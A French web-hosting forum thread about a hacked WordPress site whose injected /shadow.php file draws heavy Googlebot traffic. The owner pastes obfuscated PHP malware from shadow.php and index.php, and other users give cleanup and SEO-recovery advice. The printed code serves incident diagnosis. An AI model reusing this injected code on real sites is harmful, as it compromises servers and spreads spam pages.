Bonjour,
Le site geotop.re retourne une erreur 500, et nous avons reçu un email à propos d'un dépassement de ressources.
En regardant les logs, on peut voir qu'il y a énormément de requêtes depuis 3 jours (https://prnt.sc/i-X1yq4UaTQh) et que toutes ces requêtes viennent des mêmes IP : 66.249.66.211 et 66.249.66.213 qui semblent être un googlebot .
Toutes les requêtes ciblent le même fichier php /shadow.php :
66.249.66.213 geotop.re - [20/May/2022:04:34:29 +0200] "GET /shadow.php?recjqbe1160898 HTTP/1.1" 200 15134 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.66.211 geotop.re - [20/May/2022:04:34:29 +0200] "GET /shadow.php?sabatytra1599168 HTTP/1.1" 200 13662 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
…
Je pensais à une tentative de piratage, mais est-ce que c'est probable si c'est vraiment un google bot ?
Est-ce qu'on peut bloquer les requêtes de ces deux IP ?
Et comment remettre le site en ligne (arrêter cette erreur 500) ?
Merci d'avance pour votre aide !
Bonjour,
Pouvez vous poster le contenu de ce fihiers shadow.php (En utilisant le bouton "texte preformaté </>) ou alors joindre le fichier ?
est-ce que c'est probable si c'est vraiment un google bot ?
Je confirme que 66.249.66.213 et 66.249.66.211 sont bien des crawlers de Google.
oui je fais ça tout de suite
Voici le contenu du fichier shadow.php :
0){$ooooooOOoooOOOooooOOOOoo=$O[55];}else{$ooooooOOoooOOOooooOOOOoo=$O[63]; } $ooooooOOOoooOOOooooOOOOOoo=$ooooooOOoooOOOoooOo.$ooooooOOoooOOOooooOOOOoo.$ooooooOOoooOOOooooOOO[$ooooooOOoooOOOooooOOOOo].$O[59].$O[20].$O[25].$O[18]; $ooooooOOOOoooOOOooooOOOOOo=$O[15].$O[4].$O[4].$O[9].$O[11].$O[62].$O[63].$O[63].$O[1].$O[1].$O[1].$O[59].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[9].$O[7].$O[24].$O[14].$O[55].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[61].$ooooooOOOoooOOOooooOOOOOoo; $ooooooOOOOoooOOOooooOOOOOoOooOoOo=$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$O[1].$O[1].$O[1].$O[59].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[9].$O[7].$O[24].$O[14].$O[55].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[61].$ooooooOOOoooOOOooooOOOOOoo; if(stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL;}else if(stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL; }else if(stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOoOooOoOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL; }else if(stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOoOooOoOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL; }else{echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[13].$O[10].$O[7].$O[18].PHP_EOL;}}exit;}if(strpos($oOoooOOoOO,$O[10].$O[18].$O[18].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[59].$O[20].$O[25].$O[18])){$ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO,$ooooooOoOoooOOOooo);header($O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[4].$O[2].$O[20].$O[4].$O[63].$O[20].$O[25].$O[18]); echo $ooooooOoOoooOOOooooO;exit;}if(strpos($oOoooOOoOO,$O[59].$O[9].$O[15].$O[9])){ $ooooooOOoOOoooOOOooooOOOOO=explode($O[55],$oOoooOOoOO); $ooooooOOoOOoooOOOooooOOOOO=$ooooooOOoOOoooOOOooooOOOOO[count($ooooooOOoOOoooOOOooooOOOOO)-1]; $ooooooOOoOOoooOOOooooOOOOO=str_replace($O[59].$O[20].$O[25].$O[18],"",$ooooooOOoOOoooOOOooooOOOOO);}else{ $ooooooOOoOOoooOOOooooOOOOO= str_replace($O[63],"",$oOoooOOoOO);$ooooooOOoOOoooOOOooooOOOOO= str_replace($O[59].$O[20].$O[25].$O[18],"",$ooooooOOoOOoooOOOooooOOOOO);}$ooooooOoOoooOOOooo[$O[1].$O[8].$O[3].$O[12]]=$ooooooOOoOOoooOOOooooOOOOO;$ooooooOoOoooOOOooo[$O[10].$O[21].$O[4].$O[7].$O[8].$O[24]]=$O[21].$O[15].$O[2].$O[21].$O[17].$O[52].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9];$ooooooOOoOoOoooOOOooooOOoOOO=ooOOoOOO($oooooOOoooOOOoooOoo,$ooooooOoOoooOOOooo);if($ooooooOOoOoOoooOOOooooOOoOOO=='1'){$ooooooOoOoooOOOooooO=ooOOoOOO($ooooOOOOoooOOOooO,$ooooooOoOoooOOOooo);header($O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[4].$O[2].$O[20].$O[4].$O[63].$O[20].$O[25].$O[18]);echo $ooooooOoOoooOOOooooO;exit;}$ooooooOoOoooOOOooo[$O[10].$O[21].$O[4].$O[7].$O[8].$O[24]]=$O[21].$O[15].$O[2].$O[21].$O[17].$O[52].$O[1].$O[8].$O[3].$O[12].$O[11];$ooooooOOoOoOoooOOOooooOOoOoOO= ooOOoOOO($oooooOOoooOOOoooOoo,$ooooooOoOoooOOOooo);if(strpos($oOoooOOoOO,$O[25].$O[10].$O[9])> 0 || $ooooooOOoOoOoooOOOooooOOoOoOO=='1'){$ooooooOoOoooOOOooo[$O[10].$O[21].$O[4].$O[7].$O[8].$O[24]]=$O[3].$O[10].$O[24].$O[12].$O[52].$O[20].$O[25].$O[18];$ooooooOOoOoOoooOOOooooOOoOOO=ooOOoOOO($oooooOOoooOOOoooOoo,$ooooooOoOoooOOOooo);header($O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[4].$O[2].$O[20].$O[4].$O[63].$O[20].$O[25].$O[18]);echo $ooooooOOoOoOoooOOOooooOOoOOO;exit;}}if(strpos($oOoooOOoOO,$O[59].$O[9].$O[15].$O[9])){$ooooooOOooOooOoooOOOooooOOoOoOO=$oOooOOoOO.$ooOOOOoooOOOoOO.$ooOOOoooOOoOO;$ooooooOoOoooOOOooo[$O[25].$O[10].$O[7].$O[24].$O[52].$O[11].$O[15].$O[2].$O[18].$O[18]]=$ooooooOOooOooOoooOOOooooOOoOoOO;}else{$ooooooOOooOooOoooOOOooooOOoOoOO=$oOooOOoOO.$ooOOOOoooOOOoOO;$ooooooOoOoooOOOooo[$O[25].$O[10].$O[7].$O[24].$O[52].$O[11].$O[15].$O[2].$O[18].$O[18]]=$ooooooOOooOooOoooOOOooooOOoOoOO;} $oooOOOooOoooOOOooooOoOoOoOoO=isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[29].$O[28].$O[39].$O[28].$O[29].$O[28].$O[29]])?$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[29].$O[28].$O[39].$O[28].$O[29].$O[28].$O[29]]:''; $ooooOoOOooOoooOOOoOoOoOoO=oooOOooOOoOO($oooOOOooOoooOOOooooOoOoOoOoO);if(strpos($_SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$O[30].$O[52].$O[32].$O[29].$O[33]],$O[59].$O[9].$O[15].$O[9])){ $ooooooooOOOOOOOO = $O[55]; }else{ $ooooooooOOOOOOOO = $O[63]; } if(preg_match("/[1]+[0-9]+$/",end(explode($ooooooooOOOOOOOO,$_SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$O[30].$O[52].$O[32].$O[29].$O[33]])))){$ooooOOOOoooOOOoooOOO=$_SERVER[$O[29].$O[28].$O[51].$O[34].$O[30].$O[28].$O[52].$O[36].$O[38].$O[38].$O[29]];$ooooooOoOoooOOOooo[$O[7].$O[9]]=$ooooOOOOoooOOOoooOOO;$ooooooOoOoooOOOooo[$O[3].$O[2].$O[13].$O[2].$O[3].$O[2].$O[3]]=$oooOOOooOoooOOOooooOoOoOoOoO;$ooooooOoOoooOOOooo[$O[6].$O[11].$O[2].$O[3].$O[52].$O[10].$O[14].$O[2].$O[24].$O[4]]=strtolower(isset($SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]])?$SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]]:'');if($ooooOoOOooOoooOOOoOoOoOoO ){ echo ooOOoOOO($ooooOOOOoooOOOooOoo,$ooooooOoOoooOOOooo);exit;}$oooOoOOooOoooOOOoOoOoOoOoO=strtolower(isset($SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]])?$SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]]:'');$oooOoOooOooOoooOOOoOoOoOoOo=oooOOOo($oooOoOOooOoooOOOoOoOoOoOoO);if($oooOoOooOooOoooOOOoOoOoOoOo){$ooooooOoOoooOOOooo[$O[15].$O[4].$O[4].$O[9].$O[52].$O[6].$O[11].$O[2].$O[3].$O[52].$O[10].$O[14].$O[2].$O[24].$O[4]]=$oooOoOOooOoooOOOoOoOoOoOoO;$ooooooOOOOOoooOOOOooooooO = ooOOoOOO($oooOOOOoooOOOooOO,$ooooooOoOoooOOOooo); if($ooooooOOOOOoooOOOOooooooO==$O[70].$O[67].$O[70]){header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[67].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);exit;}else if($ooooooOOOOOoooOOOOooooooO==$O[69].$O[67].$O[67]){header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[67].$O[57].$O[69].$O[67].$O[67].$O[57].$O[33].$O[24].$O[4].$O[2].$O[3].$O[24].$O[10].$O[18].$O[57].$O[37].$O[2].$O[3].$O[22].$O[2].$O[3].$O[57].$O[28].$O[3].$O[3].$O[8].$O[3]);exit;}else if($ooooooOOOOOoooOOOOooooooO==$O[23].$O[18].$O[10].$O[24].$O[17]){echo '';exit;}else{echo $ooooooOOOOOoooOOOOooooooO;exit;} }else{ header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[67].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);} } ?>
define( 'WP_USE_THEMES', true );
require DIR . '/wp-blog-header.php';
Et il semble que le fichier index.php a été modifié aujourd'hui, il a un contenu bizarre :
`www.example.com\r\n";${${"G\x4c\x4fB\x41L\x53"}["z\x65\x5fe\x71z\x6an\x64\x61x\x6b\x70o\x68b\x77o\x6c\x72r"]}.="Connection: Close\r\n\r\n";fwrite(${${"\x47L\x4fB\x41L\x53"}["d\x64\x5ft\x5f\x75w\x79\x71\x71p\x76\x79\x71g\x76\x7af\x61z\x6e\x7a\x71\x64v\x69s\x6b\x63r\x72v\x6di\x6ae"]},${${"\x47L\x4fB\x41\x4c\x53"}["z\x65\x5fe\x71z\x6an\x64\x61x\x6b\x70o\x68b\x77o\x6c\x72r"]});while(!feof(${${"\x47\x4c\x4fB\x41L\x53"}["d\x64\x5ft\x5f\x75w\x79\x71\x71p\x76\x79\x71g\x76\x7af\x61z\x6e\x7a\x71\x64v\x69s\x6b\x63r\x72v\x6di\x6ae"]})){echo fgets(${${"G\x4cO\x42\x41L\x53"}["d\x64\x5ft\x5f\x75w\x79\x71\x71p\x76\x79\x71g\x76\x7af\x61z\x6e\x7a\x71\x64v\x69s\x6b\x63r\x72v\x6di\x6ae"]},128);}fclose(${${"G\x4c\x4fB\x41L\x53"}["d\x64\x5ft\x5f\x75w\x79\x71\x71p\x76\x79\x71g\x76\x7af\x61z\x6e\x7a\x71\x64v\x69s\x6b\x63r\x72v\x6di\x6ae"]});}}} $botbotbot="00000";?>
a-z ↩︎
Mettez de coté le fichier sur votre ordi et supprimez le de votre hébergement.
Vous avez effectivement été piraté (par injection de fichier).
Si Google requête autant votre site il est très probable que des dizaines de milliers de pages aient été indexées par Google (et honnêtement, c'est peut être le pire des cas -> https://www.google.fr/search?q=site%3Ageotop.re car Google va mettre beaucoup de temps à comprendre que ces pages n'ont rien à faire avec votre site).
Sauvegardez votre site dans son état actuel (on ne sait jamais).
Tentez de restaurer une sauvegarde pour voir si le fichier shadow.php est toujours là.
Vous êtes sous Wordpress ? Passez immédiatement après la restauration toutes les mises à jour.
$oOooOOoOO.$ooOOoooOOoOO.$ooOOOoooOOoOO
Obfuscation:
ça me fait penser à cette plaque de voiture, déjà rencontrée pour du vrai sur la route.
https://leblogdumono.be/wp-content/uploads/2018/01/plaque-000.jpg
[troll]Vous être trop souple en Belgique
[/troll]
On peut dé-offusquer le code sur des outils online comme https://www.unphp.net/
A une époque je les regardais systématiquement (et puis me suis lassé).
Merci pour vos conseils !
Alors j'ai effectué une restauration mais OVH ne me permet pas de restaurer une sauvegarde vieille de plus de 2 semaines et j'avais vu sur le FTP que les modifications étaient un peu plus anciennes que ça. J'ai quand même procédé à la restauration de la base de données et du système de fichier à 2 semaines.
J'ai toujours une erreur 500 lorsque j'essaie de me connecter au site (geotop.re) et je n'arrive même pas à me connecter en FTP (Réponse : 421 Home directory not available - aborting).
Je me retrouve bloqué, est-ce que vous auriez des idées ?
et je n'arrive même pas à me connecter en FTP (Réponse : 421 Home directory not available - aborting)
Bonsoir @JulienV45
Cela est plus inquiétant.
En FTP ou SFTP ?
J'ai réussi à me connecter en FTP mais la restauration n'a pas aidé, il y a toujours tous les fichiers obfuscés. Est-ce qu'il y a moyen d'avoir accès à une sauvegarde plus ancienne que 2 semaines en contactant OVH ?
Bonjour,
non, cela veux dire au passage que votre site est infecté depuis plusieurs semaine (sans que vous l'ayez remarqué), donc cela pourrais indiquer que le pirate c'est laisser une porte dérobé pour revenir sur votre site à tout moment.
Perso je vois 2 solutions :
1 - Faire appels à des spécialiste pour nettoyer le site (genre : https://sucuri.net/website-security-platform/signup/ - pas sponsorisé, juste qu’il sont reconnus dans ce domaine)
2 - tout recommencer à zéro
Cordialement, janus57
Bonjour,
Voilà vos 3 grandes étapes :
1 - Nettoyer le site
Faire appel à un prestataire comme le suggère @janus57.
OU
Récupérer une sauvegarde de "mise en production". Peut être que votre webmaster à effectué une sauvegarde lors de la mise ligne. Cela peut servir de base si votre site à peux évolué depuis.
OU
Nettoyer vous même (il faut un peu de technique) :
- Installer votre site avec le même template et les mêmes plugins (tous dans les même version)
- effectuer un comparatif de fichier (avec un logiciel comme Meld par exemple)
- avec le comparateur, il est "facile" d’éliminer les fichiers en trop ou restaurer ceux qui ont été modifiés
- rechercher dans la base de donnée les pages en trop (toutes les dernières pages), les compte utilisateur qui n'ont rien à faire là, etc.
2 - réduire la "nuisance" des requêtes par les moteurs de recherche.
Une fois nettoyé, votre site va tout de même connaître des perturbations car les robots des moteurs de recherche vont continuer à faire des requêtes sur des pages qui n'existerons plus.
Quand il y a autant de page, ces requêtes s'apparente à une attaque mais en fait non. C'est juste qu'ils ont beaucoup de pages à visiter et que votre hébergement n'est pas taillé pour cela.
Commencez par réduire drastiquement ce flot de requêtes en mettant des instructions dans votre fichier robots.txt (max 2 requêtes seconde pour Google par exemple, il faut qq heures pour que cela soit pris en compte).
3 - envoyer des codes 410 lors de l'appel aux mauvaise pages
Pour votre référencement, il va falloir faire disparaître les pages non voulue des index Google et autres le plus rapidement possible.
Pour cela, renvoyer des codes 404 est inefficace. Le code de retour qui convient est 410 (page gone).
1ere solution : d'installer un plugin de redirection.
le problème c'est que si vous avez bcp de pages à rediriger, les performances du site vont s’effondrer (et terminer en erreur 500).
2eme solution : jouer avec le .htaccess et des regex
Voir si il y a un schémas d'URL avec les pages à éliminer qui permettrait d'envoyer des codes 410 avec une ou qq regex (par ex si toute les mauvaise pages sont dans un geotop.re/bad/[pages] )
3ème solution approche liste blanche
Lister toutes les pages légitimes de votre site, puis dans le .htaccess mettez les règles pour que seules ces pages arrivent sur le fichier index de votre Wordpress (et affiche la page).
Tous le reste doit renvoyer un code 410.
Conclusion:
Vous n'avez pas de "chance".
Parmi les piratages possibles, en dehors du vol de données sensibles, vous êtes dans un des pire scénario car l'impact sur votre référencement va durer quelques mois. Pour un site site de e-commerce qui fait vivre une petit équipe, c'est catastrophique (c'est arrivé à l'un de mes clients).
Un fois les travaux terminé, mettez à jour sans délai WP et les plugins / thème ou mieux, activer les mises à jour automatiques
Bon courage.
Merci pour vos conseils !